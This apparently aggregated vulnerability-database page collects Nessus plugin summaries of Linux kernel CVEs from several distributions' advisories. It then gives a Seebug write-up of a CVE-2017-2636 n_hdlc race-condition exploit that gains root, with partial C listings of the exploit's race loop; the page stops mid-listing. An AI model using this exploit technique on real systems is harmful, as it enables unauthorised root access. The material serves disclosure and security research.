Linux netfilter implementation did not correctly perform validation when handling IPT_SO_SET_REPLACE events. A local unprivileged attacker could use this to cause a denial of service (system crash) or possibly execute arbitrary code with administrative privileges. (CVE-2016-3134) Ben Hawkes discovered an integer overflow in the Linux netfilter implementation. On systems running 32 bit kernels, a local unprivileged attacker could use this to cause a denial of service (system crash) or possibly execute arbitrary code with administrative privileges. (CVE-2016-3135) Ralf Spenneberg discovered that the USB driver for Clie devices in the Linux kernel did not properly sanity check the endpoints reported by the device. An attacker with physical access could cause a denial of service (system crash). (CVE-2015-7566) It was discovered that a race condition existed when handling heartbeat- timeout events in the SCTP implementation of the Linux kernel. A remote attacker could use this to cause a denial of service. (CVE-2015-8767) It was discovered that a race condition existed in the ioctl handler for the TTY driver in the Linux kernel. A local attacker could use this to cause a denial of service (system crash) or expose sensitive information. (CVE-2016-0723) Andrey Konovalov discovered that the ALSA USB MIDI driver incorrectly performed a double-free. A local attacker with physical access could use this to cause a denial of service (system crash) or possibly execute arbitrary code with administrative privileges. (CVE-2016-2384) Ralf Spenneberg discovered that the USB driver for Treo devices in the Linux kernel did not properly sanity check the endpoints reported by the device. An attacker with physical access could cause a denial of service (system crash). (CVE-2016-2782). Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. last seen 2020-06-01 modified 2020-06-02 plugin id 89935 published 2016-03-15 reporter Ubuntu Security Notice (C) 2016-2019 Canonical, Inc. / NASL script (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/89935 title Ubuntu 14.04 LTS : linux-lts-wily vulnerabilities (USN-2930-2) NASL family Ubuntu Local Security Checks NASL id UBUNTU_USN-2931-1.NASL description Ben Hawkes discovered that the Linux netfilter implementation did not correctly perform validation when handling IPT_SO_SET_REPLACE events. A local unprivileged attacker could use this to cause a denial of service (system crash) or possibly execute arbitrary code with administrative privileges. (CVE-2016-3134) It was discovered that the Linux kernel did not properly enforce rlimits for file descriptors sent over UNIX domain sockets. A local attacker could use this to cause a denial of service. (CVE-2013-4312) It was discovered that a race condition existed when handling heartbeat- timeout events in the SCTP implementation of the Linux kernel. A remote attacker could use this to cause a denial of service. (CVE-2015-8767) Andy Lutomirski discovered a race condition in the Linux kernel last seen 2020-06-01 modified 2020-06-02 plugin id 89936 published 2016-03-15 reporter Ubuntu Security Notice (C) 2016-2019 Canonical, Inc. / NASL script (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/89936 title Ubuntu 14.04 LTS : linux-lts-utopic vulnerabilities (USN-2931-1) NASL family Oracle Linux Local Security Checks NASL id ORACLELINUX_ELSA-2018-4134.NASL description Description of changes: kernel-uek [3.8.13-118.21.4.el7uek] - x86/fpu: Make eager FPU default (Mihai Carabas) [Orabug: 28156176] {CVE-2018-3665} [3.8.13-118.21.3.el7uek] - KVM: Fix stack-out-of-bounds read in write_mmio (Wanpeng Li) [Orabug: 27951287] {CVE-2017-17741} {CVE-2017-17741} - xfs: set format back to extents if xfs_bmap_extents_to_btree (Eric Sandeen) [Orabug: 27989498] {CVE-2018-10323} - Bluetooth: Prevent stack info leak from the EFS element. (Ben Seri) [Orabug: 28030520] {CVE-2017-1000410} {CVE-2017-1000410} - ALSA: hrtimer: Fix stall by hrtimer_cancel() (Takashi Iwai) [Orabug: 28058229] {CVE-2016-2549} - ALSA: timer: Harden slave timer list handling (Takashi Iwai) [Orabug: 28058229] {CVE-2016-2547} {CVE-2016-2548} - ALSA: timer: Fix double unlink of active_list (Takashi Iwai) [Orabug: 28058229] {CVE-2016-2545} - ALSA: seq: Fix missing NULL check at remove_events ioctl (Takashi Iwai) [Orabug: 28058229] {CVE-2016-2543} - ALSA: seq: Fix race at timer setup and close (Takashi Iwai) [Orabug: 28058229] {CVE-2016-2544} - ALSA: usb-audio: avoid freeing umidi object twice (Andrey Konovalov) [Orabug: 28058229] {CVE-2016-2384} [3.8.13-118.21.2.el7uek] - perf/hwbp: Simplify the perf-hwbp code, fix documentation (Linus Torvalds) [Orabug: 27947608] {CVE-2018-1000199} - Revert last seen 2020-06-01 modified 2020-06-02 plugin id 110583 published 2018-06-18 reporter This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/110583 title Oracle Linux 6 / 7 : Unbreakable Enterprise kernel (ELSA-2018-4134) NASL family Oracle Linux Local Security Checks NASL id ORACLELINUX_ELSA-2017-0817.NASL description From Red Hat Security Advisory 2017:0817 : An update for kernel is now available for Red Hat Enterprise Linux 6. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section. The kernel packages contain the Linux kernel, the core of any Linux operating system. Security Fix(es) : * It was discovered that a remote attacker could leverage the generation of IPv6 atomic fragments to trigger the use of fragmentation in an arbitrary IPv6 flow (in scenarios in which actual fragmentation of packets is not needed) and could subsequently perform any type of a fragmentation-based attack against legacy IPv6 nodes that do not implement RFC6946. (CVE-2016-10142, Moderate) * A flaw was discovered in the way the Linux kernel dealt with paging structures. When the kernel invalidated a paging structure that was not in use locally, it could, in principle, race against another CPU that is switching to a process that uses the paging structure in question. A local user could use a thread running with a stale cached virtual->physical translation to potentially escalate their privileges if the translation in question were writable and the physical page got reused for something critical (for example, a page table). (CVE-2016-2069, Moderate) * A race condition flaw was found in the ioctl_send_fib() function in the Linux kernel last seen 2020-06-01 modified 2020-06-02 plugin id 99074 published 2017-03-30 reporter This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/99074 title Oracle Linux 6 : kernel (ELSA-2017-0817) NASL family Huawei Local Security Checks NASL id EULEROS_SA-2016-1020.NASL description According to the versions of the kernel packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : - A race condition flaw was found in the way the Linux kernel last seen 2020-05-06 modified 2017-05-01 plugin id 99783 published 2017-05-01 reporter This script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/99783 title EulerOS 2.0 SP1 : kernel (EulerOS-SA-2016-1020) NASL family Debian Local Security Checks NASL id DEBIAN_DLA-439.NASL description This update fixes the CVEs described below. CVE-2015-8812 A flaw was found in the iw_cxgb3 Infiniband driver. Whenever it could not send a packet because the network was congested, it would free the packet buffer but later attempt to send the packet again. This use-after-free could result in a denial of service (crash or hang), data loss or privilege escalation. CVE-2016-0774 It was found that the fix for CVE-2015-1805 in kernel versions older than Linux 3.16 did not correctly handle the case of a partially failed atomic read. A local, unprivileged user could use this flaw to crash the system or leak kernel memory to user space. CVE-2016-2384 Andrey Konovalov found that a USB MIDI device with an invalid USB descriptor could trigger a double-free. This may be used by a physically present user for privilege escalation. Additionally, it fixes some old security issues with no CVE ID : Several kernel APIs permitted reading or writing 2 GiB of data or more in a single chunk, which could lead to an integer overflow when applied to certain filesystems, socket or device types. The full security impact has not been evaluated. Finally, it fixes a regression in 2.6.32-48squeeze17 that would cause Samba to hang in some situations. For the oldoldstable distribution (squeeze), these problems have been fixed in version 2.6.32-48squeeze20. This is *really* the final update to the linux-2.6 package for squeeze. For the oldstable distribution (wheezy), the kernel was not affected by the integer overflow issues and the remaining problems will be fixed in version 3.2.73-2+deb7u3. For the stable distribution (jessie), the kernel was not affected by the integer overflow issues or CVE-2016-0774, and the remaining problems will be fixed in version 3.16.7-ckt20-1+deb8u4. NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. last seen 2020-03-17 modified 2016-03-01 plugin id 89040 published 2016-03-01 reporter This script is Copyright (C) 2016-2020 Tenable Network Security, Inc. source https://www.tenable.com/plugins/nessus/89040 title Debian DLA-439-1 : linux-2.6 security update NASL family Huawei Local Security Checks NASL id EULEROS_SA-2019-2353.NASL description According to the versions of the kernel packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : - The kernel package contains the Linux kernel (vmlinuz), the core of any Linux operating system. The kernel handles the basic functions of the operating system: memory allocation, process allocation, device input and output, etc.Security Fix(es):The yam_ioctl function in drivers et/hamradio/yam.c in the Linux kernel before 3.12.8 does not initialize a certain structure member, which allows local users to obtain sensitive information from kernel memory by leveraging the CAP_NET_ADMIN capability for an SIOCYAMGCFG ioctl call.(CVE-2014-1446)The VFS subsystem in the Linux kernel 3.x provides an incomplete set of requirements for setattr operations that underspecifies removing extended privilege attributes, which allows local users to cause a denial of service (capability stripping) via a failed invocation of a system call, as demonstrated by using chown to remove a capability from the ping or Wireshark dumpcap program.(CVE-2015-1350)A certain backport in the TCP Fast Open implementation for the Linux kernel before 3.18 does not properly maintain a count value, which allow local users to cause a denial of service (system crash) via the Fast Open feature, as demonstrated by visiting the chrome://flags/#enable-tcp-fast-open URL when using certain 3.10.x through 3.16.x kernel builds, including longterm-maintenance releases and ckt (aka Canonical Kernel Team) builds.(CVE-2015-3332)The hub_activate function in drivers/usb/core/hub.c in the Linux kernel before 4.3.5 does not properly maintain a hub-interface data structure, which allows physically proximate attackers to cause a denial of service (invalid memory access and system crash) or possibly have unspecified other impact by unplugging a USB hub device.(CVE-2015-8816)In the Linux kernel before 4.1.4, a buffer overflow occurs when checking userspace params in drivers/media/dvb-frontends/cx24116.c. The maximum size for a DiSEqC command is 6, according to the userspace API. However, the code allows larger values such as 23.(CVE-2015-9289)The create_fixed_stream_quirk function in sound/usb/quirks.c in the snd-usb-audio driver in the Linux kernel before 4.5.1 allows physically proximate attackers to cause a denial of service (NULL pointer dereference or double free, and system crash) via a crafted endpoints value in a USB device descriptor.(CVE-2016-2184)The ati_remote2_probe function in drivers/input/misc/ati_remote2.c in the Linux kernel before 4.5.1 allows physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) via a crafted endpoints value in a USB device descriptor.(CVE-2016-2185)The powermate_probe function in drivers/input/misc/powermate.c in the Linux kernel before 4.5.1 allows physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) via a crafted endpoints value in a USB device descriptor.(CVE-2016-2186)The gtco_probe function in drivers/input/tablet/gtco.c in the Linux kernel through 4.5.2 allows physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) via a crafted endpoints value in a USB device descriptor.(CVE-2016-2187)Double free vulnerability in the snd_usbmidi_create function in sound/usb/midi.c in the Linux kernel before 4.5 allows physically proximate attackers to cause a denial of service (panic) or possibly have unspecified other impact via vectors involving an invalid USB descriptor.(CVE-2016-2384)The treo_attach function in drivers/usb/serial/visor.c in the Linux kernel before 4.5 allows physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) or possibly have unspecified other impact by inserting a USB device that lacks a (1) bulk-in or (2) interrupt-in endpoint.(CVE-2016-2782)The acm_probe function in drivers/usb/class/cdc-acm.c in the Linux kernel before 4.5.1 allows physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) via a USB device without both a control and a data endpoint descriptor.(CVE-2016-3138)The wacom_probe function in drivers/input/tablet/wacom_sys.c in the Linux kernel before 3.17 allows physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) via a crafted endpoints value in a USB device descriptor.(CVE-2016-3139)The digi_port_init function in drivers/usb/serial/digi_acceleport.c in the Linux kernel before 4.5.1 allows physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) via a crafted endpoints value in a USB device descriptor.(CVE-2016-3140)The ims_pcu_parse_cdc_data function in drivers/input/misc/ims-pcu.c in the Linux kernel before 4.5.1 allows physically proximate attackers to cause a denial of service (system crash) via a USB device without both a master and a slave interface.(CVE-2016-3689)The snd_timer_user_params function in sound/core/timer.c in the Linux kernel through 4.6 does not initialize a certain data structure, which allows local users to obtain sensitive information from kernel stack memory via crafted use of the ALSA timer interface.(CVE-2016-4569)sound/core/timer.c in the Linux kernel through 4.6 does not initialize certain r1 data structures, which allows local users to obtain sensitive information from kernel stack memory via crafted use of the ALSA timer interface, related to the (1) snd_timer_user_ccallback and (2) snd_timer_user_tinterrupt functions.(CVE-2016-4578)The x25_negotiate_facilities function in net/x25/x25_facilities.c in the Linux kernel before 4.5.5 does not properly initialize a certain data structure, which allows attackers to obtain sensitive information from kernel stack memory via an X.25 Call Request.(CVE-2016-4580)The arcmsr_iop_message_xfer function in drivers/scsi/arcmsr/arcmsr_hba.c in the Linux kernel through 4.8.2 does not restrict a certain length field, which allows local users to gain privileges or cause a denial of service (heap-based buffer overflow) via an ARCMSR_MESSAGE_WRITE_WQBUFFER control code.(CVE-2016-7425)The Linux Kernel running on AMD64 systems will sometimes map the contents of PIE executable, the heap or ld.so to where the stack is mapped allowing attackers to more easily manipulate the stack. Linux Kernel version 4.11.5 is affected.(CVE-2017-1000379)In android for MSM, Firefox OS for MSM, QRD Android, with all Android releases from CAF using the Linux kernel, a buffer overread is observed in nl80211_set_station when user space application sends attribute NL80211_ATTR_LOCAL_MESH_POWER_MODE with data of size less than 4 bytes(CVE-2017-11089)An elevation of privilege vulnerability in the kernel sound timer. Product: Android. Versions: Android kernel. Android ID A-37240993.(CVE-2017-13167)In ashmem_ioctl of ashmem.c, there is an out-of-bounds write due to insufficient locking when accessing asma. This could lead to a local elevation of privilege enabling code execution as a privileged process with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android. Versions: Android kernel. Android ID: A-66954097.(CVE-2017-13216)A information disclosure vulnerability in the Upstream kernel encrypted-keys. Product: Android. Versions: Android kernel. Android ID: A-70526974.(CVE-2017-13305)An integer overflow in the qla2x00_sysfs_write_optrom_ctl function in drivers/scsi/qla2xxx/qla_attr.c in the Linux kernel through 4.12.10 allows local users to cause a denial of service (memory corruption and system crash) by leveraging root access.(CVE-2017-14051)The Serial Attached SCSI (SAS) implementation in the Linux kernel through 4.15.9 mishandles a mutex within libsas, which allows local users to cause a denial of service (deadlock) by triggering certain error-handling code.(CVE-2017-18232)An issue was discovered in net/ipv6/ip6mr.c in the Linux kernel before 4.11. By setting a specific socket option, an attacker can control a pointer in kernel land and cause an inet_csk_listen_stop general protection fault, or potentially execute arbitrary code under certain circumstances. The issue can be triggered as root (e.g., inside a default LXC container or with the CAP_NET_ADMIN capability) or after namespace unsharing. This occurs because sk_type and protocol are not checked in the appropriate part of the ip6_mroute_* functions. NOTE: this affects Linux distributions that use 4.9.x longterm kernels before 4.9.187.(CVE-2017-18509)An issue was discovered in drivers/i2c/i2c-core-smbus.c in the Linux kernel before 4.14.15. There is an out of bounds write in the function i2c_smbus_xfer_emulated.(CVE-2017-18551)An issue was discovered in the Linux kernel before 4.14.11. A double free may be caused by the function allocate_trace_buffer in the file kernel/trace/trace.c.(CVE-2017-18595)The vmw_surface_define_ioctl function in drivers/gpu/drm/vmwgfx/vmwgfx_surface.c in the Linux kernel through 4.10.5 does not check for a zero value of certain levels data, which allows local users to cause a denial of service (ZERO_SIZE_PTR dereference, and GPF and possibly panic) via a crafted ioctl call for a /dev/dri/renderD* device.(CVE-2017-7261)The KEYS subsystem in the Linux kernel before 4.10.13 allows local users to cause a denial of service (memory consumption) via a series of KEY_REQKEY_DEFL_THREAD_KEYRING keyctl_set_reqkey_keyring calls.(CVE-2017-7472)The kernel_wait4 function in kernel/exit.c in the Linux kernel before 4.13, when an unspecified architecture and compiler is used, might allow local users to cause a denial of service by triggering an attempted use of the -INT_MIN value.(CVE-2018-10087)The kill_something_info function in kernel/signal.c in the Linux kernel before 4.13, when an unspecified architecture and compiler is used, might allow local users to cause a denial of service via an INT_MIN argument.(CVE-2018-10124)The xfs_dinode_verify function in fs/xfs/libxfs/xfs_inode_buf.c in the Linux kernel through 4.16.3 allows local users to cause a denial of service (xfs_ilock_attr_map_shared invalid pointer dereference) via a crafted xfs image.(CVE-2018-10322)The xfs_bmap_extents_to_btree function in fs/xfs/libxfs/xfs_bmap.c in the Linux kernel through 4.16.3 allows local users to cause a denial of service (xfs_bmapi_write NULL pointer dereference) via a crafted xfs image.(CVE-2018-10323)The do_get_mempolicy function in mm/mempolicy.c in the Linux kernel before 4.12.9 allows local users to cause a denial of service (use-after-free) or possibly have unspecified other impact via crafted system calls.(CVE-2018-10675)Linux kernel is vulnerable to a stack-out-of-bounds write in the ext4 filesystem code when mounting and writing to a crafted ext4 image in ext4_update_inline_data(). An attacker could use this to cause a system crash and a denial of service.(CVE-2018-10880)An issue was discovered in the Linux kernel through 4.17.3. An Integer Overflow in kernel/time/posix-timers.c in the POSIX timer code is caused by the way the overrun accounting works. Depending on interval and expiry time values, the overrun can be larger than INT_MAX, but the accounting is int based. This basically makes the accounting values, which are visible to user space via timer_getoverrun(2) and siginfo::si_overrun, random. For example, a local user can cause a denial of service (signed integer overflow) via crafted mmap, futex, timer_create, and timer_settime system calls.(CVE-2018-12896)An issue was discovered in the proc_pid_stack function in fs/proc/base.c in the Linux kernel through 4.18.11. It does not ensure that only root may inspect the kernel stack of an arbitrary task, allowing a local attacker to exploit racy stack unwinding and leak kernel task stack contents.(CVE-2018-17972)An issue was discovered in the Linux kernel through 4.19. An information leak in cdrom_ioctl_select_disc in drivers/cdrom/cdrom.c could be used by local attackers to read kernel memory because a cast from unsigned long to int interferes with bounds checking. This is similar to CVE-2018-10940 and CVE-2018-16658.(CVE-2018-18710 )An issue was discovered in the Linux kernel before 4.18.11. The ipddp_ioctl function in drivers et/appletalk/ipddp.c allows local users to obtain sensitive kernel address information by leveraging CAP_NET_ADMIN to read the ipddp_route dev and next fields via an SIOCFINDIPDDPRT ioctl call.(CVE-2018-20511)An issue was discovered in the Linux kernel before 4.18.7. In block/blk-core.c, there is an __blk_drain_queue() use-after-free because a certain error case is mishandled.(CVE-2018-20856)An issue was discovered in fs/xfs/xfs_super.c in the Linux kernel before 4.18. A use after free exists, related to xfs_fs_fill_super failure.(CVE-2018-20976)Systems with microprocessors utilizing speculative execution and branch prediction may allow unauthorized disclosure of information to an attacker with local user access via a speculative buffer overflow and side-channel analysis.(CVE-2018-3693)In the function sbusfb_ioctl_helper() in drivers/video/fbdev/sbuslib.c in the Linux kernel through 4.15, an integer signedness error allows arbitrary information leakage for the FBIOPUTCMAP_SPARC and FBIOGETCMAP_SPARC commands.(CVE-2018-6412)In nfc_llcp_build_sdreq_tlv of llcp_commands.c, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation. Product: Android. Versions: Android kernel. Android ID: A-73083945.(CVE-2018-9518 )Insufficient access control in the Intel(R) PROSet/Wireless WiFi Software driver before version 21.10 may allow an unauthenticated user to potentially enable denial of service via adjacent access.(CVE-2019-0136)A vulnerability was found in Linux kernel last seen 2020-05-08 modified 2019-12-10 plugin id 131845 published 2019-12-10 reporter This script is Copyright (C) 2019-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/131845 title EulerOS 2.0 SP2 : kernel (EulerOS-SA-2019-2353) NASL family SuSE Local Security Checks NASL id OPENSUSE-2016-445.NASL description The openSUSE Leap 42.1 kernel was updated to 4.1.20 to receive various security and bugfixes. The following security bugs were fixed : - CVE-2015-1339: A memory leak in cuse could be used to exhaust kernel memory. (bsc#969356). - CVE-2015-7799: The slhc_init function in drivers/net/slip/slhc.c in the Linux kernel did not ensure that certain slot numbers are valid, which allowed local users to cause a denial of service (NULL pointer dereference and system crash) via a crafted PPPIOCSMAXCID ioctl call (bnc#949936 951638). - CVE-2015-7872: The key_gc_unused_keys function in security/keys/gc.c in the Linux kernel allowed local users to cause a denial of service (OOPS) via crafted keyctl commands (bnc#951440). - CVE-2015-7884: The vivid_fb_ioctl function in drivers/media/platform/vivid/vivid-osd.c in the Linux kernel did not initialize a certain structure member, which allowed local users to obtain sensitive information from kernel memory via a crafted application (bnc#951626). - CVE-2015-8104: The KVM subsystem in the Linux kernel allowed guest OS users to cause a denial of service (host OS panic or hang) by triggering many #DB (aka Debug) exceptions, related to svm.c (bnc#954404). - CVE-2015-8709: kernel/ptrace.c in the Linux kernel mishandled uid and gid mappings, which allowed local users to gain privileges by establishing a user namespace, waiting for a root process to enter that namespace with an unsafe uid or gid, and then using the ptrace system call. NOTE: the vendor states last seen 2020-06-05 modified 2016-04-13 plugin id 90482 published 2016-04-13 reporter This script is Copyright (C) 2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/90482 title openSUSE Security Update : the Linux Kernel (openSUSE-2016-445) NASL family Ubuntu Local Security Checks NASL id UBUNTU_USN-2929-2.NASL description Ben Hawkes discovered that the Linux netfilter implementation did not correctly perform validation when handling IPT_SO_SET_REPLACE events. A local unprivileged attacker could use this to cause a denial of service (system crash) or possibly execute arbitrary code with administrative privileges. (CVE-2016-3134) It was discovered that the Linux kernel did not properly enforce rlimits for file descriptors sent over UNIX domain sockets. A local attacker could use this to cause a denial of service. (CVE-2013-4312) Ralf Spenneberg discovered that the USB driver for Clie devices in the Linux kernel did not properly sanity check the endpoints reported by the device. An attacker with physical access could cause a denial of service (system crash). (CVE-2015-7566) Ralf Spenneberg discovered that the usbvision driver in the Linux kernel did not properly sanity check the interfaces and endpoints reported by the device. An attacker with physical access could cause a denial of service (system crash). (CVE-2015-7833) It was discovered that a race condition existed in the ioctl handler for the TTY driver in the Linux kernel. A local attacker could use this to cause a denial of service (system crash) or expose sensitive information. (CVE-2016-0723) Andrey Konovalov discovered that the ALSA USB MIDI driver incorrectly performed a double-free. A local attacker with physical access could use this to cause a denial of service (system crash) or possibly execute arbitrary code with administrative privileges. (CVE-2016-2384) Dmitry Vyukov discovered that the Advanced Linux Sound Architecture (ALSA) framework did not verify that a FIFO was attached to a client before attempting to clear it. A local attacker could use this to cause a denial of service (system crash). (CVE-2016-2543) Dmitry Vyukov discovered that a race condition existed in the Advanced Linux Sound Architecture (ALSA) framework between timer setup and closing of the client, resulting in a use-after-free. A local attacker could use this to cause a denial of service. (CVE-2016-2544) Dmitry Vyukov discovered a race condition in the timer handling implementation of the Advanced Linux Sound Architecture (ALSA) framework, resulting in a use-after-free. A local attacker could use this to cause a denial of service (system crash). (CVE-2016-2545) Dmitry Vyukov discovered race conditions in the Advanced Linux Sound Architecture (ALSA) framework last seen 2020-06-01 modified 2020-06-02 plugin id 89933 published 2016-03-15 reporter Ubuntu Security Notice (C) 2016-2019 Canonical, Inc. / NASL script (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/89933 title Ubuntu 12.04 LTS : linux-lts-trusty vulnerabilities (USN-2929-2) NASL family SuSE Local Security Checks NASL id OPENSUSE-2016-518.NASL description The openSUSE 13.1 kernel was updated to 3.12.57 to receive various security and bugfixes. The following security bugs were fixed : - CVE-2015-8785: The fuse_fill_write_pages function in fs/fuse/file.c in the Linux kernel allowed local users to cause a denial of service (infinite loop) via a writev system call that triggers a zero length for the first segment of an iov. (bsc#963765) - CVE-2015-8551: The PCI backend driver in Xen, when running on an x86 system and using Linux as the driver domain, allowed local guest administrators to hit BUG conditions and cause a denial of service (NULL pointer dereference and host OS crash) by leveraging a system with access to a passed-through MSI or MSI-X capable physical PCI device and a crafted sequence of XEN_PCI_OP_* operations, aka last seen 2020-06-05 modified 2016-04-29 plugin id 90783 published 2016-04-29 reporter This script is Copyright (C) 2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/90783 title openSUSE Security Update : the Linux Kernel (openSUSE-2016-518)
Packetstorm
| data source | https://packetstormsecurity.com/files/download/142488/lk3usbmidi-escalate.txt |
| id | PACKETSTORM:142488 |
| last seen | 2017-05-13 |
| published | 2017-05-12 |
| reporter | Andrey Konovalov |
| source | https://packetstormsecurity.com/files/142488/Linux-Kernel-3.x-usb-midi-Local-Privilege-Escalation.html |
| title | Linux Kernel 3.x usb-midi Local Privilege Escalation |
Redhat
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| rpms |
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Seebug
| bulletinFamily | exploit |
| description | This article discloses the exploitation of [CVE-2017-2636](https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-2636), which is a race condition in the `n_hdlc` Linux kernel driver (`drivers/tty/n_hdlc.c`). The described exploit gains root privileges bypassing Supervisor Mode Execution Protection (SMEP). This driver provides `HDLC` serial line discipline and comes as a kernel module in many Linux distributions, which have `CONFIG_N_HDLC=m` in the kernel config. So [RHEL 6/7](https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2017-2636), [Fedora](https://bugzilla.redhat.com/show_bug.cgi?id=1430049), [SUSE](https://bugzilla.novell.com/show_bug.cgi?id=CVE-2017-2636), [Debian](https://security-tracker.debian.org/tracker/CVE-2017-2636), and [Ubuntu](https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-2636.html) were affected by CVE-2017-2636. Currently the flaw is [fixed](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=82f2341c94d270421f383641b7cd670e474db56b) in the mainline Linux kernel ([public disclosure](http://seclists.org/oss-sec/2017/q1/569)). The bug was [introduced](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=be10eb7589337e5defbe214dae038a53dd21add8) quite a long time ago, so the patch is backported to the stable kernel versions too. I've managed to make the proof-of-concept exploit quite stable and fast. It crashes the kernel very rarely and gains the root shell in less than 20 seconds (at least on my machines). This PoC defeats SMEP, but doesn't cope with Supervisor Mode Access Prevention (SMAP), although it is possible with some additional efforts. My PoC also doesn't defeat Kernel Address Space Layout Randomization (KASLR) and needs to know the kernel code offset. This offset can be obtained using a kernel pointer leak or the prefetch side-channel [attack](https://gruss.cc/files/prefetch.pdf) (see xairy's [implementation](https://github.com/xairy/kaslr-bypass-via-prefetch)). First of all let's watch the [demo video](https://youtu.be/nDCvRxWxN0Y)! ## The n_hdlc bug Initially, `N_HDLC` line discipline used a self-made singly linked list for data buffers and had `n_hdlc.tbuf` pointer for buffer retransmitting after an error. It worked, but the commit `be10eb75893` added data flushing and introduced racy access to `n_hdlc.tbuf`. After tx error concurrent [`flush_tx_queue()`](http://lxr.free-electrons.com/ident?i=flush_tx_queue) and [`n_hdlc_send_frames()`](http://lxr.free-electrons.com/ident?i=n_hdlc_send_frames) both use `n_hdlc.tbuf` and can put one buffer to `tx_free_buf_list` twice. That causes an exploitable double-free error in [`n_hdlc_release()`](http://lxr.free-electrons.com/ident?i=n_hdlc_release). The data buffers are represented by `struct n_hdlc_buf` and allocated in the `kmalloc-8192` slab cache. For fixing this bug, I [used](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=82f2341c94d270421f383641b7cd670e474db56b) a standard kernel linked list and got rid of racy `n_hdlc.tbuf`: in case of tx error the current `n_hdlc_buf` item is put after the head of `tx_buf_list`. I started the investigation when got a suspicious kernel crash from [syzkaller](https://github.com/google/syzkaller). It is a really great project, which helped to fix an [impressively big list](https://github.com/google/syzkaller/wiki/Found-Bugs) of bugs in Linux kernel. ## Exploitation This article is the only way for me to publish the exploit code. So, please, be patient and prepare to plenty of listings! ### Winning the race Let's look to the code of the main loop: going to race till success. ``` for (;;) { long tmo1 = 0; long tmo2 = 0; if (loop % 2 == 0) tmo1 = loop % MAX_RACE_LAG_USEC; else tmo2 = loop % MAX_RACE_LAG_USEC; ``` The `loop` counter is incremented every iteration, so `tmo1` and `tmo2` variables are changing too. They are used for making lags in the racing threads, which: 1. synchronize at the `pthread_barrier`, 2. spin the specified number of microseconds in a busy loop, 3. interact with `n_hdlc`. Such a way of colliding threads helps to hit the race condition earlier. ``` ptmd = open("/dev/ptmx", O_RDWR); if (ptmd < 0) { perror("[-] open /dev/ptmx"); goto end; } ret = ioctl(ptmd, TIOCSETD, &ldisc); if (ret < 0) { perror("[-] TIOCSETD"); goto end; } ``` Here we open a pseudoterminal master and slave pair and set the `N_HDLC` line discipline for it. For more information about that, see `man ptmx`, [`Documentation/serial/tty.txt`](http://lxr.free-electrons.com/source/Documentation/serial/tty.txt) and [this](https://unix.stackexchange.com/questions/117981/what-are-the-responsibilities-of-each-pseudo-terminal-pty-component-software) great discussion about `pty` components. Setting `N_HDLC` ldisc for a serial line causes the `n_hdlc` kernel module autoloading. You can get the same effect using `ldattach` daemon. ``` ret = ioctl(ptmd, TCXONC, TCOOFF); if (ret < 0) { perror("[-] TCXONC TCOOFF"); goto end; } bytes = write(ptmd, buf, TTY_BUF_SZ); if (bytes != TTY_BUF_SZ) { printf("[-] write to ptmx (bytes)\n"); goto end; } ``` Here we suspend the pseudoterminal output (see `man tty_ioctl`) and write one data buffer. The `n_hdlc_send_frames()` fails to send this buffer and saves its address in `n_hdlc.tbuf`. We are ready for the race. Start two threads, which are allowed to run on all available CPU cores: * thread 1: flush the data with `ioctl(ptmd, TCFLSH, TCIOFLUSH)`; * thread 2: start the suspended output with `ioctl(ptmd, TCXONC, TCOON)`. In a lucky case, they both put the only written buffer pointed by `n_hdlc.tbuf` to `tx_free_buf_list`. Now we return to the CPU 0 and trigger possible double-free error: ``` ret = sched_setaffinity(0, sizeof(single_cpu), &single_cpu); if (ret != 0) { perror("[-] sched_setaffinity"); goto end; } ret = close(ptmd); if (ret != 0) { perror("[-] close /dev/ptmx"); goto end; } ``` We close the pseudoterminal master. The `n_hdlc_release()` goes through `n_hdlc_buf_list` items and frees the kernel memory used for data buffers. Here the possible double-free error happens. This particular bug is successfully detected by the Kernel Address Sanitizer ([KASAN](https://lwn.net/Articles/612153/)), which reports the use-after-free happening just before the second `kfree()`. The final part of the main loop: ``` ret = exploit_skb(socks, sockaddrs, payload, loop % SOCK_PAIRS); if (ret != EXIT_SUCCESS) goto end; if (getuid() == 0 && geteuid() == 0) { printf("[+] race #%ld: WIN! flush(%ld), TCOON(%ld)\n", loop, tmo1, tmo2); break; /* :) */ } loop++; } 